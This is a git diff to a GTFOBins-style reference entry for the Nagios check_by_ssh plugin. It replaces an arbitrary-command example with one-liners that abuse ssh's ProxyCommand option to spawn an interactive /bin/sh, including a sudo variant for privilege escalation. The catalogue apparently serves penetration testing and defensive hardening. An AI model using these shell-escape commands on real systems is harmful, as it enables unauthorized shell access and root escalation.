diff --git a/_gtfobins/check_by_ssh.md b/_gtfobins/check_by_ssh.md index e00730e..5660689 100644 --- a/_gtfobins/check_by_ssh.md +++ b/_gtfobins/check_by_ssh.md @@ -2,20 +2,10 @@ description: | This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. functions: - command: - - code: | - COMMAND=id - OUTPUT=output_file - TF=$(mktemp) - echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF - check_by_ssh -F $TF -H localhost -C something - cat $OUTPUT + shell: + - description: The shell will only last 10 seconds. + code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx sudo: - - code: | - COMMAND=id - OUTPUT=output_file - TF=$(mktemp) - echo "ProxyCommand $COMMAND | tee $OUTPUT" > $TF - sudo check_by_ssh -F $TF -H localhost -C something - cat $OUTPUT + - description: The shell will only last 10 seconds. + code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx ---